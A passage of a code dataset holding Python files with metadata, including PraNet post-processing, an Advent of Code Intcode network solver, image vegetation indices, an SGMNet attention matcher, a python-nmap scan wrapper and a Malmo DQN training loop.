"line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 156, "usage_type": "call"}, {"api_name": "simplepso.pso.PSO", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 176, "usage_type": "call"}, {"api_name": "model_analysis.jnk3_no_ask1.model.parameters", "line_number": 176, "usage_type": "attribute"}, {"api_name": "model_analysis.jnk3_no_ask1.model", "line_number": 176, "usage_type": "name"}, {"api_name": "simplepso.pso.PSO", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 181, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 194, "usage_type": "call"}]} {"seq_id": "72844975582", "text": "import sys\nsys.path.append('./PraNet')\nimport numpy as np\nimport torch.nn.functional as F\nimport torch\nimport os\nfrom glob import glob\nfrom scipy import misc\nfrom utils.dataloader import test_dataset\n\ntestsize = 352\n\ndef test(pred_dir, save_path, data_path):\n # 只要res2\n bin_images = glob(os.path.join(pred_dir, '*_3.bin'))\n # 必须要排序，因为原模型代码中输入排序了\n bin_images = sorted(bin_images)\n\n image_root = '{}/images/'.format(data_path)\n gt_root = '{}/masks/'.format(data_path)\n test_loader = test_dataset(image_root, gt_root, testsize)\n os.makedirs(save_path, exist_ok=True)\n \n for path in bin_images:\n image, gt, name = test_loader.load_data()\n\n gt = np.asarray(gt, np.float32)\n gt /= (gt.max() + 1e-8)\n\n res2 = np.fromfile(path, np.float32)\n res = np.reshape(res2, (1, 1, 352, 352))\n res = torch.from_numpy(res)\n res = F.upsample(res, size=gt.shape, mode='bilinear', align_corners=False)\n res = res.sigmoid().data.cpu().numpy().squeeze()\n res = (res - res.min()) / (res.max() - res.min() + 1e-8)\n misc.imsave(save_path+name, res)\n print(\"Postprocess Done !\")\n\nif __name__ == \"__main__\":\n data_path = sys.argv[1]\n pred_dir = sys.argv[2]\n save_path = sys.argv[3]\n \n test(pred_dir, save_path,data_path)\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "ACL_PyTorch/contrib/cv/segmentation/PraNet/PraNet_postprocess.py", "file_name": "PraNet_postprocess.py", "file_ext": "py", "file_size_in_byte": 1351, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "utils.dataloader.test_dataset", "line_number": 21, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.fromfile", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.functional.upsample", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 33, "usage_type": "name"}, {"api_name": "scipy.misc.imsave", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 36, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 40, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 42, "usage_type": "attribute"}]} {"seq_id": "43496525", "text": "from collections import deque\nfrom itertools import cycle\n\nfrom .intcode import load_program, IntCodeMachine\n\n\ndef create_network(program):\n program = load_program(program)\n\n network = [(IntCodeMachine(program, i), deque()) for i in range(50)]\n\n for computer, queue in network:\n computer.return_output = True\n\n return network\n\n\ndef send_packets(computer: IntCodeMachine, network, nat_packets):\n while not computer.waiting_input:\n dst_address = computer.run()\n x = computer.run()\n y = computer.run()\n if dst_address is None or x is None or y is None:\n break\n\n if dst_address == 255:\n nat_packets.append((x, y))\n else:\n network[dst_address][1].extend((x, y))\n\n\ndef receive_packets(computer: IntCodeMachine, queue: deque):\n if len(queue) > 0:\n computer.set_input(list(queue))\n queue.clear()\n else:\n computer.set_input(-1)\n\n\ndef solve_a(data):\n network = create_network(data)\n nat_packets = []\n\n for computer, queue in cycle(network):\n send_packets(computer, network, nat_packets)\n receive_packets(computer, queue)\n if len(nat_packets) > 0:\n x, y = nat_packets[0]\n return y\n\n return -1\n\n\ndef solve_b(data):\n network = create_network(data)\n\n nat_packets = []\n nat_y_values = set()\n\n while True:\n for computer, queue in network:\n send_packets(computer, network, nat_packets)\n receive_packets(computer, queue)\n\n for computer, queue in network:\n if computer.input[0] != -1 or len(queue) > 0:\n # Computer has packets in queue\n break\n else:\n if len(nat_packets) == 0:\n # First boot up of the network\n continue\n # All computers are idle\n x, y = nat_packets[-1]\n network[0][1].extend((x, y))\n if y in nat_y_values:\n return y\n else:\n nat_y_values.add(y)\n", "repo_name": "davchoo/AdventOfCode", "sub_path": "aoc_davchoo/2019/day23.py", "file_name": "day23.py", "file_ext": "py", "file_size_in_byte": 2042, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "intcode.load_program", "line_number": 8, "usage_type": "call"}, {"api_name": "intcode.IntCodeMachine", "line_number": 10, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 10, "usage_type": "call"}, {"api_name": "intcode.IntCodeMachine", "line_number": 18, "usage_type": "name"}, {"api_name": "intcode.IntCodeMachine", "line_number": 32, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 32, "usage_type": "name"}, {"api_name": "itertools.cycle", "line_number": 44, "usage_type": "call"}]} {"seq_id": "71675406622", "text": "import numpy as np\nfrom PIL import Image\n\ndef min_max(x):\n return \"min : {}. max : {}\".format( np.min(x), np.max(x) )\n\ndef normalize(x):\n return ( x - np.min(x) ) / ( np.max(x) - np.min(x) )\n\n\nfilename = \"aerial_image.jpg\"\n\nimage = Image.open(filename)\nimg = np.asarray(image) / 255.0\n\nhsv = image.convert(\"HSV\")\nhsv = np.asarray(hsv) / 255.0\n\nh = hsv[:,:,0]\ns = hsv[:,:,1]\nv = hsv[:,:,2]\n\nprint(\"h :\", min_max(h))\nprint(\"s :\", min_max(s))\nprint(\"v :\", min_max(v))\n\ntotal = np.sum(img, axis=2)\n\nr = img[:,:,0] / total\ng = img[:,:,1] / total\nb = img[:,:,2] / total\n\nprint(\"r :\", min_max(r))\nprint(\"g :\", min_max(g))\nprint(\"b :\", min_max(b))\n\nexg = 2*g - r - b\nprint(\"exg :\", min_max(exg))\n\nexr = 1.4*r - g\nprint(\"exr :\", min_max(exr))\n\nciv = -0.881*g + 0.441*r + 0.385*b + 18.78745\nprint(\"civ :\", min_max(civ))\n\nexgr = exg - exr\nprint(\"exgr :\", min_max(exgr))\n\nndi = (g-r) / (g+r)\nprint(\"ndi :\", min_max(ndi))\n\ngrey = (0.2898*img[:,:,0] + 0.587*img[:,:,1] + 0.114*img[:,:,2]) / 255\nprint(\"grey :\", min_max(grey))\n\n# row1 = np.hstack((r, g, b))\nrow1 = np.hstack((h, s, v))\nrow2 = np.hstack((normalize(exg), normalize(exr), normalize(civ)))\nrow3 = np.hstack((normalize(exgr), normalize(ndi), normalize(grey)))\n\ngrid = np.vstack((row1, row2, row3))\n\nim = Image.fromarray(grid*255)\n\nim.show()\n\n", "repo_name": "Lukeasargen/python_misc", "sub_path": "img_channels.py", "file_name": "img_channels.py", "file_ext": "py", "file_size_in_byte": 1295, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.min", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 8, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 13, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 60, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 62, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 62, "usage_type": "name"}]} {"seq_id": "21223238338", "text": "import torch\nimport torch.nn as nn\nimport time\n\n\neps=1e-8\n\ndef sinkhorn(M,r,c,iteration):\n p = torch.softmax(M, dim=-1)\n u = torch.ones_like(r)\n v = torch.ones_like(c)\n for _ in range(iteration):\n u = r / ((p * v.unsqueeze(-2)).sum(-1) + eps)\n v = c / ((p * u.unsqueeze(-1)).sum(-2) + eps)\n p = p * u.unsqueeze(-1) * v.unsqueeze(-2)\n return p\n\ndef sink_algorithm(M,dustbin,iteration):\n M = torch.cat([M, dustbin.expand([M.shape[0], M.shape[1], 1])], dim=-1)\n M = torch.cat([M, dustbin.expand([M.shape[0], 1, M.shape[2]])], dim=-2)\n r = torch.ones([M.shape[0], M.shape[1] - 1],device='cuda')\n r = torch.cat([r, torch.ones([M.shape[0], 1],device='cuda') * M.shape[1]], dim=-1)\n c = torch.ones([M.shape[0], M.shape[2] - 1],device='cuda')\n c = torch.cat([c, torch.ones([M.shape[0], 1],device='cuda') * M.shape[2]], dim=-1)\n p=sinkhorn(M,r,c,iteration)\n return p\n\n\nclass attention_block(nn.Module):\n def __init__(self,channels,head,type):\n assert type=='self' or type=='cross','invalid attention type'\n nn.Module.__init__(self)\n self.head=head\n self.type=type\n self.head_dim=channels//head\n self.query_filter=nn.Conv1d(channels, channels, kernel_size=1)\n self.key_filter=nn.Conv1d(channels,channels,kernel_size=1)\n self.value_filter=nn.Conv1d(channels,channels,kernel_size=1)\n self.attention_filter=nn.Sequential(nn.Conv1d(2*channels,2*channels, kernel_size=1),nn.SyncBatchNorm(2*channels), nn.ReLU(),\n nn.Conv1d(2*channels, channels, kernel_size=1))\n self.mh_filter=nn.Conv1d(channels, channels, kernel_size=1)\n\n def forward(self,fea1,fea2):\n batch_size,n,m=fea1.shape[0],fea1.shape[2],fea2.shape[2]\n query1, key1, value1 = self.query_filter(fea1).view(batch_size,self.head_dim,self.head,-1), self.key_filter(fea1).view(batch_size,self.head_dim,self.head,-1), \\\n self.value_filter(fea1).view(batch_size,self.head_dim,self.head,-1)\n query2, key2, value2 = self.query_filter(fea2).view(batch_size,self.head_dim,self.head,-1), self.key_filter(fea2).view(batch_size,self.head_dim,self.head,-1), \\\n self.value_filter(fea2).view(batch_size,self.head_dim,self.head,-1)\n if(self.type=='self'):\n score1,score2=torch.softmax(torch.einsum('bdhn,bdhm->bhnm',query1,key1)/self.head_dim**0.5,dim=-1),\\\n torch.softmax(torch.einsum('bdhn,bdhm->bhnm',query2,key2)/self.head_dim**0.5,dim=-1)\n add_value1, add_value2 = torch.einsum('bhnm,bdhm->bdhn', score1, value1), torch.einsum('bhnm,bdhm->bdhn',score2, value2)\n else:\n score1,score2 = torch.softmax(torch.einsum('bdhn,bdhm->bhnm', query1, key2) / self.head_dim ** 0.5,dim=-1), \\\n torch.softmax(torch.einsum('bdhn,bdhm->bhnm', query2, key1) / self.head_dim ** 0.5, dim=-1)\n add_value1, add_value2 =torch.einsum('bhnm,bdhm->bdhn',score1,value2),torch.einsum('bhnm,bdhm->bdhn',score2,value1)\n add_value1,add_value2=self.mh_filter(add_value1.contiguous().view(batch_size,self.head*self.head_dim,n)),self.mh_filter(add_value2.contiguous().view(batch_size,self.head*self.head_dim,m))\n fea11, fea22 = torch.cat([fea1, add_value1], dim=1), torch.cat([fea2, add_value2], dim=1)\n fea1, fea2 = fea1+self.attention_filter(fea11), fea2+self.attention_filter(fea22)\n \n return fea1,fea2\n\n\nclass matcher(nn.Module):\n def __init__(self, config):\n nn.Module.__init__(self)\n self.use_score_encoding=config.use_score_encoding\n self.layer_num=config.layer_num\n self.sink_iter=config.sink_iter\n self.position_encoder = nn.Sequential(nn.Conv1d(3, 32, kernel_size=1) if config.use_score_encoding else nn.Conv1d(2, 32, kernel_size=1), \n nn.SyncBatchNorm(32), nn.ReLU(),\n nn.Conv1d(32, 64, kernel_size=1), nn.SyncBatchNorm(64),nn.ReLU(),\n nn.Conv1d(64, 128, kernel_size=1), nn.SyncBatchNorm(128), nn.ReLU(),\n nn.Conv1d(128, 256, kernel_size=1), nn.SyncBatchNorm(256), nn.ReLU(),\n nn.Conv1d(256, config.net_channels, kernel_size=1))\n \n self.dustbin=nn.Parameter(torch.tensor(1,dtype=torch.float32,device='cuda'))\n self.self_attention_block=nn.Sequential(*[attention_block(config.net_channels,config.head,'self') for _ in range(config.layer_num)])\n self.cross_attention_block=nn.Sequential(*[attention_block(config.net_channels,config.head,'cross') for _ in range(config.layer_num)])\n self.final_project=nn.Conv1d(config.net_channels, config.net_channels, kernel_size=1)\n\n def forward(self,data,test_mode=True):\n desc1, desc2 = data['desc1'], data['desc2']\n desc1, desc2 = torch.nn.functional.normalize(desc1,dim=-1), torch.nn.functional.normalize(desc2,dim=-1)\n desc1,desc2=desc1.transpose(1,2),desc2.transpose(1,2) \n if test_mode:\n encode_x1,encode_x2=data['x1'],data['x2']\n else:\n encode_x1,encode_x2=data['aug_x1'], data['aug_x2']\n if not self.use_score_encoding:\n encode_x1,encode_x2=encode_x1[:,:,:2],encode_x2[:,:,:2]\n\n encode_x1,encode_x2=encode_x1.transpose(1,2),encode_x2.transpose(1,2)\n\n x1_pos_embedding, x2_pos_embedding = self.position_encoder(encode_x1), self.position_encoder(encode_x2)\n aug_desc1, aug_desc2 = x1_pos_embedding + desc1, x2_pos_embedding+desc2\n for i in range(self.layer_num):\n aug_desc1,aug_desc2=self.self_attention_block[i](aug_desc1,aug_desc2)\n aug_desc1,aug_desc2=self.cross_attention_block[i](aug_desc1,aug_desc2)\n\n aug_desc1,aug_desc2=self.final_project(aug_desc1),self.final_project(aug_desc2)\n desc_mat = torch.matmul(aug_desc1.transpose(1, 2), aug_desc2)\n p = sink_algorithm(desc_mat, self.dustbin,self.sink_iter[0])\n return {'p':p}\n\n\n", "repo_name": "vdvchen/SGMNet", "sub_path": "superglue/match_model.py", "file_name": "match_model.py", "file_ext": "py", "file_size_in_byte": 6134, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 117, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.softmax", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Module.__init__", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.SyncBatchNorm", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.Conv1d", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.softmax", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 64, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.nn.Module.__init__", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn.SyncBatchNorm", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn.Conv1d", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.SyncBatchNorm", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn.Conv1d", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 73, "usage_type": "name"}, {"api_name": "torch.nn.SyncBatchNorm", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn.Conv1d", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.nn.SyncBatchNorm", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.nn.Conv1d", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 77, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 80, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 84, "usage_type": "attribute"}, {"api_name": "torch.matmul", "line_number": 102, "usage_type": "call"}]} {"seq_id": "13343276015", "text": "import nmap\nimport pandas as pd\n\nclass Scan:\n def __init__(self, host):\n self.host = host\n\n def scanhost(self):\n nm = nmap.PortScanner()\n nm.scan(hosts=self.host, arguments='-A')\n f = open('./temp/tempcsvnmap.csv', 'w')\n print(nm.csv(), file=f)\n f.close()\n self.df = pd.read_csv('./temp/tempcsvnmap.csv', sep=';', engine='python')\n return self.df", "repo_name": "Devilxpto/Hackin9", "sub_path": "cti/classes/nmap_scan.py", "file_name": "nmap_scan.py", "file_ext": "py", "file_size_in_byte": 408, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "nmap.PortScanner", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}]} {"seq_id": "9334447033", "text": "try:\r\n from malmo import MalmoPython\r\nexcept:\r\n import MalmoPython\r\n\r\nimport os\r\nimport sys\r\nimport time\r\nimport json\r\nimport random\r\nfrom tqdm import tqdm\r\nfrom collections import deque\r\nimport matplotlib.pyplot as plt \r\nimport numpy as np\r\nfrom numpy.random import randint\r\nimport torch\r\nimport torch.nn as nn\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom map_generator_final import GetMissionXML\r\nfrom RL_DQN import QNetwork, Hyperparameters, get_action, prepare_batch, learn, log_returns\r\nfrom get_observation import get_observation\r\nfrom init_malmo import init_malmo\r\n\r\ndef main(agent_host):\r\n \r\n q_network = QNetwork((2, Hyperparameters.OBS_SIZE, Hyperparameters.OBS_SIZE), len(Hyperparameters.ACTION_DICT))\r\n target_network = QNetwork((2, Hyperparameters.OBS_SIZE, Hyperparameters.OBS_SIZE), len(Hyperparameters.ACTION_DICT))\r\n target_network.load_state_dict(q_network.state_dict())\r\n\r\n optim = torch.optim.Adam(q_network.parameters(), lr= Hyperparameters.LEARNING_RATE)\r\n\r\n replay_buffer = deque(maxlen=Hyperparameters.REPLAY_BUFFER_SIZE)\r\n\r\n global_step = 0\r\n num_episode = 0\r\n epsilon = 1\r\n start_time = time.time()\r\n returns = []\r\n steps = []\r\n loss_array = []\r\n\r\n loop = tqdm(total=Hyperparameters.MAX_GLOBAL_STEPS, position=0, leave=False)\r\n while global_step < Hyperparameters.MAX_GLOBAL_STEPS:\r\n episode_step = 0\r\n episode_return = 0\r\n episode_loss = 0\r\n done = False\r\n\r\n agent_host = init_malmo(agent_host)\r\n world_state = agent_host.getWorldState()\r\n while not world_state.has_mission_begun:\r\n time.sleep(0.1)\r\n world_state = agent_host.getWorldState()\r\n for error in world_state.errors:\r\n print(\"\\nError:\",error.text)\r\n obs = get_observation(world_state, agent_host)\r\n\r\n while world_state.is_mission_running:\r\n action_idx = get_action(obs, q_network, epsilon)\r\n command = Hyperparameters.ACTION_DICT[action_idx]\r\n\r\n agent_host.sendCommand(command)\r\n\r\n time.sleep(.1)\r\n\r\n episode_step += 1\r\n if episode_step >= Hyperparameters.MAX_EPISODE_STEPS or \\\r\n (obs[0, int(Hyperparameters.OBS_SIZE/2)+1, int(Hyperparameters.OBS_SIZE/2)] == -1 and \\\r\n command == 'movesouth 1'):\r\n done = True\r\n time.sleep(2) \r\n\r\n world_state = agent_host.getWorldState()\r\n for error in world_state.errors:\r\n print(\"Error:\", error.text)\r\n next_obs = get_observation(world_state, agent_host) \r\n\r\n reward = 0\r\n for r in world_state.rewards:\r\n reward += r.getValue()\r\n episode_return += reward\r\n\r\n replay_buffer.append((obs, action_idx, next_obs, reward, done))\r\n obs = next_obs\r\n\r\n global_step += 1\r\n if global_step > Hyperparameters.START_TRAINING and global_step % Hyperparameters.LEARN_FREQUENCY == 0:\r\n batch = prepare_batch(replay_buffer)\r\n loss = learn(batch, optim, q_network, target_network)\r\n episode_loss += loss\r\n\r\n if epsilon > Hyperparameters.MIN_EPSILON:\r\n epsilon *= Hyperparameters.EPSILON_DECAY\r\n\r\n if global_step % Hyperparameters.TARGET_UPDATE == 0:\r\n target_network.load_state_dict(q_network.state_dict())\r\n\r\n num_episode += 1\r\n returns.append(episode_return)\r\n loss_array.append(episode_loss)\r\n steps.append(global_step)\r\n avg_return = sum(returns[-min(len(returns), 10):]) / min(len(returns), 10)\r\n loop.update(episode_step)\r\n loop.set_description('Episode: {} Steps: {} Time: {:.2f} Loss: {:.2f} Last Return: {:.2f} Avg Return: {:.2f}'.format(\r\n num_episode, global_step, (time.time() - start_time) / 60, episode_loss, episode_return, avg_return))\r\n\r\n if num_episode > 0 and num_episode % 10 == 0:\r\n log_returns(steps, loss_array)\r\n print()\r\n\r\nif __name__ == '__main__':\r\n \r\n agent_host = MalmoPython.AgentHost()\r\n try:\r\n agent_host.parse( sys.argv )\r\n except RuntimeError as e:\r\n print('ERROR:', e)\r\n print(agent_host.getUsage())\r\n exit(1)\r\n if agent_host.receivedArgument(\"help\"):\r\n print(agent_host.getUsage())\r\n exit(0)\r\n\r\n main(agent_host)\r\n\r\n", "repo_name": "tzadouri/MineGuyz", "sub_path": "project/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4468, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "RL_DQN.QNetwork", "line_number": 26, "usage_type": "call"}, {"api_name": "RL_DQN.Hyperparameters.OBS_SIZE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 26, "usage_type": "name"}, {"api_name": "RL_DQN.Hyperparameters.ACTION_DICT", "line_number": 26, "usage_type": "attribute"}, {"api_name": "RL_DQN.QNetwork", "line_number": 27, "usage_type": "call"}, {"api_name": "RL_DQN.Hyperparameters.OBS_SIZE", "line_number": 27, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 27, "usage_type": "name"}, {"api_name": "RL_DQN.Hyperparameters.ACTION_DICT", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 30, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters.LEARNING_RATE", "line_number": 30, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 30, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 32, "usage_type": "call"}, {"api_name": "RL_DQN.Hyperparameters.REPLAY_BUFFER_SIZE", "line_number": 32, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 32, "usage_type": "name"}, {"api_name": "time.time", "line_number": 37, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 42, "usage_type": "call"}, {"api_name": "RL_DQN.Hyperparameters.MAX_GLOBAL_STEPS", "line_number": 42, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 42, "usage_type": "name"}, {"api_name": "RL_DQN.Hyperparameters.MAX_GLOBAL_STEPS", "line_number": 43, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 43, "usage_type": "name"}, {"api_name": "init_malmo.init_malmo", "line_number": 49, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 52, "usage_type": "call"}, {"api_name": "get_observation.get_observation", "line_number": 56, "usage_type": "call"}, {"api_name": "RL_DQN.get_action", "line_number": 59, "usage_type": "call"}, {"api_name": "RL_DQN.Hyperparameters.ACTION_DICT", "line_number": 60, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 60, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 64, "usage_type": "call"}, {"api_name": "RL_DQN.Hyperparameters.MAX_EPISODE_STEPS", "line_number": 67, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 67, "usage_type": "name"}, {"api_name": "RL_DQN.Hyperparameters.OBS_SIZE", "line_number": 68, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 68, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 71, "usage_type": "call"}, {"api_name": "get_observation.get_observation", "line_number": 76, "usage_type": "call"}, {"api_name": "RL_DQN.Hyperparameters.START_TRAINING", "line_number": 87, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 87, "usage_type": "name"}, {"api_name": "RL_DQN.Hyperparameters.LEARN_FREQUENCY", "line_number": 87, "usage_type": "attribute"}, {"api_name": "RL_DQN.prepare_batch", "line_number": 88, "usage_type": "call"}, {"api_name": "RL_DQN.learn", "line_number": 89, "usage_type": "call"}, {"api_name": "RL_DQN.Hyperparameters.MIN_EPSILON", "line_number": 92, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 92, "usage_type": "name"}, {"api_name": "RL_DQN.Hyperparameters.EPSILON_DECAY", "line_number": 